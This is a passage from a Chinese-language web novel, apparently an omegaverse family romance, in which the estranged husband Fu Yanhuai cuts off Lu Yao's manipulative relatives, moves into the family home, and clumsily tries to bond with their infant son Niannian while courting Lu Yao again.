鹿遥怀孕的时候,就已经很爱年年了。怀孕是一件很辛苦的事,但鹿遥每天都在期盼年年的降生,那些辛苦他到现在都没有提过。现在鹿遥对年年更加可以说得上是极尽疼爱,虽然缺失了几个月的相处时间,但年年还是最喜欢鹿遥。 就连傅晏淮自己,看见年年和鹿遥极为相似的眼睛,心里也会不自觉变得柔软些。 这些情感傅晏淮没有在关清露身上体会到,他觉得只有像文筝那样才能算是关心和爱护鹿遥。 傅晏淮的想法很简单,正如文筝所言,他要给鹿遥和年年创造一个安全、舒适的生活环境,那么一些不必要的,影响心情的因素就不需要再出现了。 关清露露出受伤的神色,“或许傅总不懂我们为人父母的心情,我并不是完全对他不关心,我只是…” 其实傅晏淮说得对,关清露对鹿遥的态度里掺杂了太多她对婚姻的怨怼,但这些问题并不是鹿遥的责任。 傅晏淮不咸不淡收回目光,“你在试图控制鹿遥,用不存在的爱。” 关清露情绪激动起来,“你怎么能这么说!不要说你们现在已经离婚了,就算是还在婚内,你也不能质疑我作为一名母亲付出的…” 傅晏淮语气平静道,“我不会再让你们接近鹿遥了。” 鹿千星按捺不住地焦急开口,“傅总,您是不是对我们家有什么误会,或者听了鹿遥说些什么,您不能只听一面之词…” “鹿家这一年不太好过吧。” 傅晏淮没兴趣再和他们两人交谈了,他还赶着要回家。 “鹿家家底有限,鹿钟光经商天赋不高,想维持现在这个状态生活,应该很不容易。” 他们两人都没有再说话,因为傅晏淮紧接着就带些玩味地接上后半句,“我还可以让你们再难过一点。” “鹿家现在住的地方,是我送给鹿遥的婚前礼物。” 关清露和鹿千星被毫不留情面地赶下车,傅晏淮一边查看数据一边蹙眉对助理道,“以后不要让鹿家人再出现在鹿遥眼前。” 助理当即会意道,“是。” 傅晏淮只需要说一句话,后续的安排会自动有人为他补全。不过就凭傅晏淮这句不放在心上的威胁,关清露和鹿千星也的确没有胆子挑衅傅晏淮的底线了。 傅晏淮对鹿家的态度暂时止步于此,他也需要参考鹿遥的意见。 傅晏淮在车上短暂处理了一下堆积的工作,随后就很快将东西都收拾起来。 鹿遥现在对他很冷淡,但傅晏淮丝毫没有觉得不悦,相反的,他很想念鹿遥。 鹿遥和夏时越回家也还没有多久,鹿遥正在试着给年年喂果泥,年年睡饱了之后就有些亢奋,鹿遥试图用点新鲜的东西让他冷静下来。 苹果果泥年年没有吃过,鹿遥拿着小勺子一点点地给年年尝。年年果然很快就被吸引了全部注意力,他尝了一口仰起头,张嘴还要吃。 于是鹿遥又挤了一点,年年仔细地品尝了一下苹果的味道,他咧开嘴笑起来。甜的,是和奶粉不一样的味道,他喜欢吃。 年年消停下来,鹿遥把他抱到腿上,专心致志地喂果泥。 香香软软的年年配上香香软软的鹿遥,这个场景看起来很温馨,但傅晏淮一进来就没有那么温馨了。 傅晏淮回来的时间比大家预计的要早,原本是说晚饭时间回来的,这时客厅里只有鹿遥和年年两个人。 鹿遥看见傅晏淮身后跟着助理,又迟疑看了看两人的打扮,他迷惑问道,“你不是刚刚出院吗,怎么…” 怎么都是一副刚开完会的样子。 “我提前了一点时间出院。” 傅晏淮自然地走近,年年坐在鹿遥怀里抬起头,警惕又好奇地看着面前这个人。 年年对傅晏淮的记忆已经很模糊,他只记得傅晏淮信息素的味道,但是目前傅晏淮腺体坏了,所以年年陷入纠结状态。 傅晏淮继续对鹿遥道,“处理了一点工作,然后提前回来了。” 鹿遥抿唇没有说话,傅晏淮主动伸手,“我抱抱?” 鹿遥不太想把年年给傅晏淮抱,但是他看看年年,年年一直瞪着圆溜溜的眼睛看傅晏淮,鹿遥停顿片刻还是同意了。 傅晏淮也想借着年年和鹿遥多亲近些,于是他自然地伸手就要把年年抱起来。 但是年年的好奇仅限于在鹿遥怀里,一旦离开这个安全范围年年能感觉到的就只有危险了。 傅晏淮刚刚把他抱起来,年年就扭着身体表现出极大不愿意,他整个上半身极力往后,伸手还要鹿遥。 鹿遥连忙道,“算了,你们太久没有亲近过,还是慢慢来吧。” 傅晏淮挑眉看着年年,“这样吗。” 年年在慌乱中不慎和傅晏淮对视,他一直紧绷着忍住的情绪终于忍不住了,年年哇的一声大哭起来。 鹿遥当即把年年从傅晏淮手上抱回来,傅晏淮站在原地无辜看着鹿遥。 年年哭得眼泪一颗接一颗掉下来,鹿遥心疼了,他发脾气对傅晏淮埋怨道,“我都让你先不要抱了。” 年年趴在鹿遥肩膀上哭得很悲伤,小身体一抽一抽地呜呜哭。 这次傅晏淮认错的态度和速度都无比娴熟。 他自然开口道,“我错了,我原本只想抱抱他。” 鹿遥余怒未消,“不想听你说话。” 鹿遥抱着年年就上楼去叫文筝和傅际中,傅晏淮叹了口气,坐在沙发上等着。 助理默默在一旁观看了现场八卦,傅总现在有妻管严的趋势了。 第77章 第 77 章 警惕 文筝听见傅晏淮回来就要下楼, 结果正好和鹿遥遇上。 文筝一眼就看见年年伤心趴在鹿遥肩膀上,她惊讶问道,“年年这是怎么了, 怎么哭成这样啊?” 一提起这个,鹿遥刚刚缓下来的心情又变得糟糕了。 “傅晏淮陪年年的时间很少。”鹿遥绷不住怒气道, “年年都很害怕了,还抱着不松手, 他怎么能这样吓唬孩子。” 年年憋憋屈屈地抬起肉肉的小脸蛋, 通红的眼圈和撅起来的嘴巴彰显出他十分不美妙的心情。 年年这样看着又可爱又可怜, 文筝又心疼又哭笑不得地摸摸年年, “我们宝贝受委屈了是不是?你父亲是大坏蛋, 咱们不理他。” 年年抽抽噎噎地再一次把脸埋在鹿遥肩膀上, 他赌气地抱住鹿遥脖子,一个人生闷气。 文筝失笑,“这孩子有自己的脾气, 挺好, 以后不容易被人欺负。” 鹿遥有一下没一下地拍着年年后背, 文筝收回手下楼,“傅晏淮在楼下呢?” 鹿遥点点头,“刚回来的。” 鹿遥抱着年年生气离开, 傅晏淮自觉还挺无辜的, 不过他现在没有蠢到在鹿遥面前表现出来这一点。他让助理先离开,自己坐在沙发上。 沙发不算整洁,上面零零碎碎摆着年年的口水巾、小玩具、还有果泥。 傅晏淮默默掏出来一盒磨牙棒——鹿遥忘在医院里的那个。 他随手拿起一袋果泥捏了捏,塑料袋发出的窸窸窣窣声音吸引到了奶油。 确实和名字一样雪白蓬松的小狗神秘地从某个角落跑出来,傅家很大,但只要某个位置响起食品包装袋的哗啦声, 奶油就会在五秒内到达战场。 奶油警惕地在离傅晏淮两米远的位置停下,它犹豫地坐在地上,尾巴摇晃的弧度减缓。 这个人似曾相识,但味道似乎改变了。 一个不确定是好人还是坏人的人坐在家里的沙发上,手里还拿着零食。 奶油的鼻子动了动,傅晏淮若有所感地转过头看向它,没有放下手里的果泥。奶油的眼睛看了一眼傅晏淮的脸,又慌张转回到傅晏淮手上,一人一狗形成了僵持且微妙的氛围。 奶油也想看家护院,奈何傅晏淮长得太凶。 文筝一下来就看见傅晏淮疑似拿着果泥威胁奶油,她这辈子仅有的几次无语心情都用在了傅晏淮身上。 鹿遥还在后面抱着年年,文筝低咳一声提醒傅晏淮收敛点。 傅晏淮没懂,但他眼神很好使,他看见了鹿遥的衣角,于是老实拿起磨牙棒安静坐好。 文筝当作什么也没看见照常下楼,“回来了?你的卧室改成婴儿房了,二楼还有空房间,我让人收拾出来一间小的,你让管家带你去吧。” 傅晏淮神色微微一凝,“管家?” 文筝优雅坐下喝茶,她听见傅晏淮的语调反问道,“我把他叫过来的,你那屋子里又没人,让管家在那干什么?这有年年,有小鹿,现在又加一个你,天天半死不活的。还有小狗,这么多操心的事,管家来就对了。” 傅晏淮很想反驳自己没有半死不活,但是人在屋檐下,他学会了看鹿遥的脸色生存。 傅晏淮毫无异议地点头,“行。” 文筝和傅晏淮说话,年年偷偷把头侧过来一点,斜着眼睛打量傅晏淮。 年年的小动作被傅晏淮抓个正着,年年一和傅晏淮对视,鼻子瞬间又红了。 鹿遥刚把年年哄好,站在傅晏淮旁边没两分钟,年年又抽抽搭搭地想哭了。 鹿遥对傅晏淮怒目而视,“你干什么!” 傅晏淮无可奈何道,“这次我真的不是故意的。” 文筝也看不下去了,她连忙去把年年抱过来,“来,不哭,我抱他上楼。” 鹿遥转身也跟着要走,傅晏淮一把拉住鹿遥小臂。 鹿遥浑身上下都警惕了起来,他连连后退好几步,“你是不是故意想把年年支走的?” “这个绝对没有。”傅晏淮诚恳道,“我还给他拿了磨牙棒,上次你忘在医院的。” 鹿遥愣了一下,他看到沙发上的磨牙棒记忆才被唤醒,“哦,谢谢。” 鹿遥简短说完三个字就要走,傅晏淮当即跟上,不远不近走在鹿遥身后。 “这次医生也说我恢复程度很好,以后只需要定期去医院复查就可以。虽然药物有副作用,但以后的症状都不会有这次这么严重,只需要…” 鹿遥听得不耐烦了,“需要什么。” 傅晏淮在三楼停住,“可能需要一点你的信息素。” 在鹿遥开口之前傅晏淮就先道,“只是配合治疗,就和前两次一样。而且,你的腺体其实也还是需要检查的。” 鹿遥停下来回头,他猜测问道,“这就是你的目的吗?” 傅晏淮蹙眉,“什么?” “我说,你这几天发给我的那些东西。”鹿遥提醒他,“你自己都不记得了?看来的确是为了配合治疗没错。” 傅晏淮直接明确否认,“给你发消息和治疗腺体是完全不相关的两件事,就算我的腺体再也没有恢复的希望,也并不影响我给你分享有趣的事物。” 鹿遥觉得傅晏淮很会说花言巧语,他不理会他,自顾自径直走向自己房间。 临到房间门口推开门,鹿遥终于回过味来,“你一直跟着我做什么?” “我找不到我的房间。”傅晏淮低声道,“我也想多陪你…年年一会。” 鹿遥毫不客气地拒绝,“如果你想孩子,那就先和年年亲近几天再近距离接触,你吓坏他了。年年除了惊恐发作从来不这样哭,这一个月他半夜也不再惊醒了,如果因为你又让年年生病,那你就趁早回去住。” 傅晏淮极为诚恳道,“以后不会了,我会循序渐进和年年接触的。” 傅晏淮态度还不错,鹿遥脸色稍霁,“最好如此。” 他说着推门就要进去,谁知道房门一开,地上零零散散铺了满地的策划案就出现在两人眼底。 傅晏淮看着有些眼熟,“这是什么?” 做了好多笔记,鹿遥是想复学了吗? 第78章 第 78 章 登堂入室 鹿遥迅速转过身挡住, 他故作镇定看着傅晏淮,“没什么,你还有事吗?没事的话就走吧。” 傅晏淮看着鹿遥的动作, 微微挑了下眉。 鹿遥莫名不想要傅晏淮看见自己在用他的策划案,他抿了下唇就想关门。 傅晏淮伸手挡住, 他低声道,“我说的是认真的。” 他看着鹿遥, “你想复学吗?” 鹿遥停顿片刻, “现在年年还太小, 品牌也刚刚开始做, 我会选一个合适的时间复学的。” 其实鹿遥现在已经没有了当年的心气, 他也明白就算成功毕业, 他想做的也是和甜品相关的行业。 但是那毕竟是自己当年梦寐以求的,就算现在看着食之无味弃之可惜,鹿遥还是想把它做完。 傅晏淮注意到鹿遥的情绪没有特别高兴, 他蹙眉盯鹿遥的脸, “你不喜欢吗?复学。” 鹿遥只是平静答道, “我已经不是学生了。” 他也不再是学生的年纪,鹿遥知道名校毕业生的含金量,他只是记不住自己曾经在教室里握笔的日子, 也记不住自己走在校园里设想过些什么。 傅晏淮沉默下来, 他扫了眼地上散落的纸张,眼神忽然凝住。 上面的东西有点熟悉,好像是他写的东西。 傅晏淮若无其事将目光收回,“我尊重你的意愿,学校那边我已经沟通过,如果你想回去, 直接办复学手续就可以。” “鹿遥。” 鹿遥要关门的手停住,他看向傅晏淮。 “复学并不是我拿来给自己增加好感的筹码,这是你本应得到的东西。” 傅晏淮垂下眼,“那应该是你曾经期待很久的大学生活,就算现在不再是学生,你也有享受这段时光的权利。” 鹿遥还是很瘦,虽然恢复了几个月,但好像和记忆里傅晏淮最初看到的那个鹿遥没有区别。 他穿着淡色的衣服站在那里,傅晏淮看着他出神。 鹿遥上学的时候应该也是这样,一个人很努力地做好每一件事。刻苦,用功,考上最好的学校。 傅晏淮心中涌起无法言喻的惋惜和酸涩,如果鹿遥没有经历过这些就好了。 如果他能对鹿遥更好一点,如果这些痛苦都没有出现在鹿遥的身上,他现在应该… 傅晏淮长久的停顿让鹿遥觉得很奇怪,他迟疑开口问道,“你还有事吗?” 傅晏淮收起纷杂思绪,“策划案我会重写一份。” 鹿遥僵住,傅晏淮还是看到了吗。 鹿遥莫名有种被抓包的羞耻,傅晏淮语气轻松,“这种事情,问我是最适合的。可以和我说说你的想法,这样方案会更恰当。” 鹿遥握紧门把手,他真的很不想问傅晏淮,这样会显得他好像对什么东西妥协了一样。 但是,鹿遥知道傅晏淮说的是对的,而他也从来没有过任性的习惯。 鹿遥冷淡地嗯了一声,咣当一声把门在傅晏淮眼前关上。 傅晏淮没有不满,他刚要下楼,临时又脚步一转去了旁边的婴儿房。 年年和文筝竟然不在里面,可能是文筝带年年去别的地方哄了。 傅晏淮弯腰捡了个小玩具,他放在手里捏了两下,随手放到一边的台子上。 婴儿房里乱糟糟的,到处都散落着年年的东西,角落里还有个豪华狗窝,一看就是给奶油留的。 米白色奶油风装修让房间看起来很温暖,不知道是不是错觉,傅晏淮能闻到一点点鹿遥的信息素味道。 婴儿房里还有一张床,应该是育婴师陪夜的时候睡的。不过年年的睡眠惊惧刚刚缓解,鹿遥躺在这张床上的时间应该也很多。 傅晏淮开始怀念从前他能抱着鹿遥睡觉的时候,如果他们的婚姻能平静地持续,或许鹿遥现在应该每天都很开心。 不过现在也至少有文筝和年年,不然傅晏淮不敢想鹿遥会变成什么样。 于是傅晏淮又走回鹿遥房门前敲门,这次地上的策划案都已经收了起来。 鹿遥警惕地只拉开一半门,“干什么。” “不干什么。”傅晏淮诚恳道,“我想你了。” 鹿遥受到了极大冲击,他脸上骤然变红。鹿遥嘴唇颤抖盯了傅晏淮一阵子,最终痛斥了一声。 “有病!” 门又被嘭地一声关上,这次傅晏淮彻底舒坦了,他转身下楼。 鹿遥也没了看策划案的心情,他独自在房间里生闷气。 具体气什么也不知道,反正他看见傅晏淮就哪哪都气不顺。 鹿遥在房间里转悠两圈,最终还是认命地下楼。 他有点呼吸不畅,得出去呼吸呼吸新鲜空气。 年年和文筝果然也在外面,傅际中拿飞盘抛着给奶油玩,年年被文筝抱着看热闹,咯咯一直笑。 鹿遥看着不自觉也笑了笑,看来年年已经被哄好了。 年年看着看着就似有所感地看门口,果然一眼就看见鹿遥。 年年大声啊了一声,鹿遥走过去摸摸他的小脸,“年年?” 年年追着鹿遥的手玩,扭来扭去的特别高兴。 文筝都有点抱不住,但老一辈都喜欢这样的孩子,“真活泼。” 傅际中夸奖年年,“就要这样才好。” 看着这一幕,鹿遥刚刚对着傅晏淮的郁气也消解了不少。 文筝对鹿遥温声道,“晚上咱们吃点好的,有没有最近想吃的,叫后厨去做。” 鹿遥摇摇头,“什么都好,您知道的,我一直没什么特别喜欢吃的。” 文筝看着鹿遥有点犯愁,“总吃这么少可怎么行,现在看着还是瘦。” 鹿遥生产的时候太折腾,后面几个月也没有心思好好恢复,好不容易回来了又忙着照顾年年,文筝其实是希望鹿遥能真正好好休养一段时间。 鹿遥觉得自己还好,反正每天也没有做什么很累的事情。 “我没事的,妈妈。”鹿遥冲文筝温声开口道,“我从小就这样,没什么问题。” 文筝把年年放到鹿遥怀里,空出手摸了摸鹿遥的头顶。 “妈妈希望你能健健康康,开开心心的。” 鹿遥略带羞涩地垂眼,“我会的。” 比起以前,其实鹿遥觉得自己现在的生活已经很好,他并不奢求十全十美的生活。太完美的幸福对鹿遥来说过于虚幻,他会觉得那不是真的,并不会真正属于自己。 现在这样有一点缺憾和烦恼,反而正好。 这一个下午过得还算平静,夏时越说今晚要回家一趟,不能一起吃晚饭了。对此他表示很遗憾,并说如果傅晏淮搞小动作就告诉他,他将立马杀回来。 鹿遥觉得肯定不会,因为文筝和傅际中都在,傅晏淮不会做什么。 傅晏淮自认为的确是没做什么,他让管家采购了很多补品回来,顺便还请了个营养师团队做顾问。 傅晏淮的想法很简单,鹿遥生产后没有经历正常的产褥期休息,带年年也很累,最近看见他也时常生气。不管是什么原因,鹿遥都需要被好好照顾。 从前文筝替他承担了这个责任,现在他有机会登堂入室,当然就要他来担起自己本应做的事情。 于是鹿遥在自己位置坐下时就愣住了。 “这是什么。”鹿遥迟疑问道,“为什么我的是单独一份?” 以前吃饭也没有这样过,鹿遥看了看自己面前的东西,确定别人都没有。 “是补品。”傅晏淮自然地在鹿遥身边坐下,“我让管家吩咐炖下去的,补品。” 汤和炖品每样只有一小盅,不耽误正常吃饭,不过鹿遥此刻有了更加难以理解的事情。 “这是时越的位置。”鹿遥强调道,“我们两个是坐一起的。” 傅晏淮耐心开口,“他现在不在,等他回来,我会坐到旁边的。” 鹿遥一噎,傅晏淮现在有点脸皮太厚了,他说不过他。 鹿遥只好道,“下次不要炖这些了,我吃不完,剩了也是浪费。” 鹿遥看不懂这都是什么原料做成的,不过不用脑子也知道这些东西一定都很贵。鹿遥饭量不大,剩了是真的可惜。 傅晏淮显然做了充足准备,“我吃。” 鹿遥瞪圆眼睛看着他,傅晏淮理所应当地道,“吃不完给我,这些是医生和营养师沟通过可以吃的,先吃一个月试试看。” 鹿遥忍无可忍,“谁让你做这些的?我说了我要吃了吗,你…” 年年还是坐在餐椅里,他在傅际中旁边呆愣愣往这边看。 年年当然是可以感知到鹿遥的情绪的,尤其是现在他们看起来像在吵架一样,年年不自觉地变得很警惕。 鹿遥注意到年年的视线,又想起傅际中和文筝也都在,他收声忍耐道,“等等再和你说。” 傅晏淮很愿意听鹿遥的,他点点头,用公筷给鹿遥夹了一块鱼胶,“尝尝,看合不合你的口味。” 鹿遥甚至都懒得对傅晏淮翻白眼,他对文筝不好意思道,“妈妈喜欢吃这个吗?” 文筝一直没有开口插话,因为她也觉得鹿遥吃点补品不错,食补不像喝药,这种方式更适合鹿遥的身体。 “厨房多得是,想吃随时就叫后厨炖了。”文筝温柔道,“多吃点,年年白白胖胖,你却一直这么瘦。” 鹿遥得到了妈妈轻柔的关怀,他乖乖低头开始吃东西,年年连奶嘴都忘了嚼,只顾着盯傅晏淮看。 傅晏淮算是忽然闯入年年的领地,霸占了他心爱的爸爸旁边的位置,还一脸理所应当地摆出了当家做主的姿态。 年年唔唔哼唧起来,他要坐到鹿遥旁边去。 傅际中一下就看出来年年要干什么了,他当即千依百顺哄道,“年年想爸爸了是不是啊?来,推到那边去坐。” 傅晏淮皱了皱眉,“等等吧,这样打扰大人吃饭。” 傅晏淮一切以鹿遥威县,他转头冲年年挑眉,“坐好。” 年年嘴里的奶嘴都掉出来了点,他扁了扁嘴想哭,但又忍住了。 他要把这个很凶的怪人从爸爸身边赶走! 第79章 第 79 章 玩 鹿遥尝了尝给他准备的加餐, 他没吃出是什么,但不可否认的是还是挺好吃的。 鹿遥埋头默默吃,他怕吃不完剩了。 年年现在也可以吃一点除了奶粉以外的东西, 他尝过果泥和米糊,现在开始对大人吃的东西感兴趣。 年年眼睛一眨不眨地盯着鹿遥, 他咂了咂嘴,指着鹿遥, 表示自己想坐过去。 傅际中哄不住年年, 鹿遥不得不停下来, 女佣把年年的餐车推过去。 鹿遥耐心地对他讲, “你太小了, 这些都不能吃, 吃了会坏肚子。想吃果泥吗?爸爸给你拆一个好不好。” 年年不听,他哼哼唧唧就要鹿遥抱着他坐。对于这些小要求,鹿遥一向都是很愿意答应的, 他放下筷子去抱年年。 傅晏淮观察了一会家里的运转模式, 他再次确认年年在家里的确太任性了所有人都很宠着他。 既然是鹿遥希望这样, 那傅晏淮也不会有什么异议,他现在只是觉得年年太闹人了。 “我来抱年年吧。” 傅晏淮主动开口,“你吃你的。” 鹿遥抱年年抱到一半震惊住, 年年敏锐听到自己名字, 眉毛皱起来认真看着傅晏淮。 鹿遥很质疑傅晏淮会不会抱,他随口道,“算了,你不会哄。” 傅晏淮坚持,“我试一下。” 他面无表情地开了个玩笑活跃气氛,“毕竟养病这段时间, 我最重要的事就是学习照顾婴儿。” 气氛没有被活跃到,但鹿遥觉得傅晏淮有这个心也挺好的,他是年年的父亲,怎么能对孩子一点都不了解呢。 “好吧。”鹿遥勉为其难道,“你小心一点,不要那样窝着,年年会不舒服。” 年年就这样呆愣愣坐到了傅晏淮腿上,他瞪大眼睛不可置信地仰头看着傅晏淮。傅晏淮捏了捏年年的屁股,他低声提醒道,“乖一点,不要打扰你爸爸吃饭。” 年年憋憋屈屈忍下来了,他蔫头耷脑地坐在傅晏淮腿上,承受了这个年纪不该有的忧伤。 傅晏淮等了一会,年年也没有其他举动,他得出结论,“他还挺好哄的。” 鹿遥下意识接道,“当然,年年很少哭的,就算哭了也很容易哄好。除了晚上…” 鹿遥猛然想起自己是在和谁说话,而且年年晚上会哭闹的始作俑者也是这个人,他抿唇别开头,不理傅晏淮了。 鹿遥继续努力吃完加餐,傅晏淮也心满意足继续抱年年。 现在他和鹿遥的相处,傅晏淮觉得已经是一个很好的开端了。 文筝频频给傅际中使眼色,傅际中咳嗽一声,随便和文筝提起了别的话题。 鹿遥回神,发现文筝和傅际中没有注意到这边的状况,他们两个一直在小声交谈,鹿遥微微放心了点。 但是今天的加餐鹿遥还是没能吃完,他已经很努力在吃了,但食量不是一天能养成的。 鹿遥为难地盯着面前的汤,他真的吃不下了。 “吃饱了吗?” 傅晏淮觉得年年和鹿遥真的是很像,一动不动坐着皱眉毛的样子也一模一样。 鹿遥嗯了声,他压低声音警告傅晏淮,“下次不要弄这些了,把年年给我吧。” 这次傅晏淮听话地把年年举起来,傅晏淮抱孩子的姿势真是让鹿遥两眼一黑,他赶忙拍拍气鼓鼓的年年,让年年靠在自己怀里。 “没关系,你吃不完就给我,不会浪费的。” 傅晏淮微笑道,“你的体检报告表现出你需要有一段正式的修养,我也想为你做些什么。” 鹿遥就这么眼睁睁看着傅晏淮把自己的勺子放进他刚刚喝过的汤盅里,然后又眼睁睁看着傅晏淮把他剩的汤喝掉了。 那一刻,鹿遥有点说不明白的感觉,傅晏淮吃剩饭的样子也很矜贵,看起来很像在吃什么山珍海味。 虽然原材料大约真的就是山珍海味。 鹿遥彻底搞不明白傅晏淮的心思了,以前他看起来分明就是不喜欢自己的,现在又好像为了自己什么都愿意做。 年年一脸严肃地看着傅晏淮,他的生活中闯入了一个奇怪的人。 年年不想和傅晏淮接触太多,他觉得这个人有问题,所有人看到傅晏淮都会变得怪怪的。 年年把脸埋进鹿遥胳膊里,他抓着鹿遥衣角不吭声。 鹿遥抿了抿唇,他搂着肉肉的年年站起身,“我先上楼了。” “好。” 傅晏淮目送鹿遥离开,文筝嫌弃地看着他。 “这就是你的办法?”文筝蹙起眉,“你就这么追回鹿遥吗。” 她怎么会有这么不开窍的儿子,傅际中也不这样啊。 傅晏淮诚实道,“我怕做得太多,他更讨厌我。” 文筝不得不开口,“你还是挺有自知之明的。” “算了。”文筝也有点累了,她要回去休息,“既然当初鹿遥答应了那么荒谬的结婚协议,就证明他一定是图你什么的。小鹿不在乎钱,那他就只能是在乎你。” 文筝喝口水润润,“虽然不知道小鹿喜欢你什么,但他肯定是对你心动的。或许你这样就歪打正着,反正小鹿眼光也不是很高。” 文筝没有理会傅晏淮越来越无语的神色,她给自己安慰好就算大功告成。 文筝紧接着问傅晏淮,“你明天还去公司吗?” “我已经把东西都拿了回来。”傅晏淮道,“居家办公。” 文筝有点惊讶,“这样也很不错,那你多在家陪陪年年,小鹿最近都在忙自己的店,你不要添乱。” “我知道。”谈起自己擅长的领域,傅晏淮看起来很有把握,“如果鹿遥愿意,我会帮他的。” 文筝挑剔道,“那你接着努力吧,我上楼了。” 傅晏淮坐在椅子上再次捋了一下自己的思绪,但也没有总结出精妙的追妻办法。 生命从来都很有条理计划的傅总决定顺势而为,就算鹿遥永远也不打算原谅他,那就一直这样也很好。 吃完饭傅晏淮在客厅处理了一会公务,睡觉之前后原本有一段年年和奶油的自由活动时间,但傅晏淮现在回来,鹿遥还没有做好准备一天看见他那么多次。 年年很努力地爬到门边,他向上伸手,意思是想要转门把手出去。 奶油跑到年年身边,嗅了嗅年年后一屁股坐下,扭头无辜看向鹿遥。 鹿遥不想下楼,现在傅晏淮工作肯定还没有做完。但是鹿遥让营养师抱年年下去,他现在每天出门的时间越来越长,鹿遥原本就对年年很亏欠,他又不舍得平白少了一段和年年相处的时间。 鹿遥走过去小声和年年商量,“明天再下楼玩好不好,今天我们先早点睡觉吧,爸爸哄你睡觉。” 年年在不困的时候是很难被哄睡的,他在鹿遥怀里像个泥鳅,一点都抱不住。 鹿遥假装板起脸,“年年不听话。” 年年不害怕鹿遥,鹿遥从没有真正对年年发过脾气,因为生产后的分离,鹿遥无法自控地紧张关怀年年。年年也知道鹿遥是对自己最好的人,所以他一点也没把鹿遥的话听进去。 鹿遥苦恼地喃喃,“以后如果每天晚上都这样怎么办呢。” 难道要年年晚上只在这间屋子里玩吗,这样也太可怜了。 其实睡前是应该只在房间里读一读话本之类的,但是年年在这一方面自由度很高。他不是一个让人操心的孩子,时间差不多就会打着哈欠要睡,而且比起蔫蔫的安静没精神,鹿遥宁可年年一直闹人。所以他并不阻止年年玩,相反的,年年可以随时随地玩自己想玩的。 年年也跟着奶油一起转过头,客厅比屋子里宽敞很多,他可以把玩具堆得满地都是,奶油也可以一直跑,所以他们两个都喜欢在一楼玩。 年年最终还是战胜了傅晏淮在鹿遥心里的阴影,鹿遥抱着年年下楼。他假装傅晏淮不存在,坐在地毯上鼓励年年爬。 傅晏淮看着这一幕有些出乎意料,他看了眼时间,“我还以为,这么晚他该睡觉了。” 鹿遥嘴角笑意迅速消失,“还有一个小时年年才睡。” 傅晏淮把电脑合上,鹿遥松了口气,看来傅晏淮工作做完了,他们下来的时间还挺巧的。 没想到傅晏淮关上电脑却不回房间,而是也顺便一起坐在了地上。 傅晏淮改变了年年原本的前进路线,他愣愣看着傅晏淮爬得偏了。 傅晏淮伸手护了一下年年的头,他平静和年年对话,“小心别撞到,要到这里来吗?” 年年犹疑想回去找鹿遥,但傅晏淮却张开手面对他,“过来吧,慢一点。” 年年试探地往前爬了点,傅晏淮的手穿过腋下把年年抱了起来。 傅晏淮对着鹿遥有点邀功的意思,“我去请教了一下育婴师,这样抱比上次是不是好很多?” 鹿遥停了两秒才意识到傅晏淮在说什么,傅晏淮还在举着一脸懵的年年看着他。 鹿遥沉默和自己的记忆对比了一下,不得不说,傅晏淮的手法虽然还是生疏,但比之前进步了很多。 “挺好的。” 鹿遥比较客观,没有掺杂太多私人情绪,傅晏淮听见鹿遥的话神色愉悦了些。 毕竟鹿遥还是要时常出门的,这个品牌投入了很多心血,不光是鹿遥自己,还有夏时越,以后只会越来越忙。 傅晏淮既然要一直在这里养伤,那他和年年的相处时间势必就会变多,鹿遥不能阻止他和年年亲近的。 “等你以后再了解一些就会知道,年年是很好照顾的孩子,他很乖。” 鹿遥顿了顿,他垂下眼看着地毯,“我可能确实对他纵容了一点,可是他现在才不到七个月,我和他真正相处,也只有两个多月而已。” 傅晏淮心里微微刺痛,“我知道。” 他低低地承诺,“我会照顾好他的。” 第80章 第 80 章 信息素 于是傅晏淮就这样住进了傅家老宅里, 开始了他和鹿遥奇妙且另类的同居生活。 虽然不在同一个楼层,也没有人承认是在同居,但傅晏淮自己还是十分满意。 他的腺体还没有恢复, 年年一直处于半信半疑的警惕状态,看见傅晏淮就下意识去找鹿遥。鹿遥是年年最喜欢也最信任的人, 他害怕的时候就喜欢缩在鹿遥怀里。 不过相处了几天,年年已经可以忍受傅晏淮出现在自己视线范围内了。不像最开始, 只要和傅晏淮共处同一空间下, 年年就乱七八糟地搞破坏想把他赶走。 比如现在, 鹿遥不在, 客厅里只有傅晏淮和育婴师。年年假装傅晏淮不存在, 自顾自地玩。 鹿遥对于傅晏淮照顾孩子还是比较放心的, 毕竟有育婴师在,出不了什么太大的差错。而且,傅晏淮是年年的父亲, 可能会照顾得笨手笨脚, 但不会不上心。 傅晏淮这两天一直致力于和年年拉近距离, 他已经摸清楚了年年大致的喜好和作息规律。他发现年年的确是像鹿遥说的那样,总体是个很乖很好带的婴儿。 今天年年戴了一顶毛绒绒的米色小熊帽子,整张脸看起来更圆了。 年年咬奶嘴的时间差不多了, 傅晏淮把手伸到年年脸旁边, “吐出来,不能咬太久。” 年年还在嚼嚼嚼,长牙很痒,他不想吐出去。 年年别开头,嗯嗯地哼哼继续乱动。 “小鹿说不能嚼太久。”傅晏淮看出年年不愿意,但他更听鹿遥的, “吐出来。” 年年更烦傅晏淮了,他扭头一看,鹿遥还不在,他当即很委屈垂头丧气地趴下。 年年和鹿遥真的很像,不过最大的区别就是在鹿遥脸上不会出现这么多灵动的表情。 鹿遥从前一直是卑微又小心的,看见傅晏淮都是拘谨地低头。现在也是没什么表情的时刻居多,傅晏淮从年年的脸上窥探鹿遥活泼的样子。 傅晏淮放轻声音道,“这样对发育不好,我可以掰一点磨牙棒给你。” 磨牙棒也不能吃太多,年年的肠胃没有成长完全,还是很娇弱。 傅晏淮说的话在育婴师这里很有分量,而且确实也是不能嚼太久。但是一般鹿遥会拿一个东西引开年年的注意力,这样很轻松就能把奶嘴拿下来,傅晏淮还是没有经验。 育婴师坐在一边不管,年年感觉到没有人站自己那边,扭了扭身体不高兴。 傅晏淮顺利把奶嘴拿出来了,年年撅起嘴,很明显是有情绪,但是没有哭。这还是很让傅晏淮松了口气,他掰了一小段磨牙棒放到年年手心里。 年年赌气,想把它扔掉表示自己很生气,但是又舍不得,于是只好紧紧攥住磨牙棒背对傅晏淮一动不动坐着。 傅晏淮有些无奈了,他生疏但姿势很准确地把年年抱了起来,“不高兴了吗?” “那你想玩什么,这个?”傅晏淮试图缓解年年的小情绪,“我把奶油抱过来陪你?” 年年垂着头忧伤地看手里一截短短的磨牙棒,他想鹿遥了。 “好吧。” 傅晏淮学着鹿遥平时哄年年的方式,让年年坐在自己手臂上,他站起来转了转。 年年抬了点眼皮,但还是没精打采的样子。傅晏淮想了想,托着年年坐到了自己脖子上。 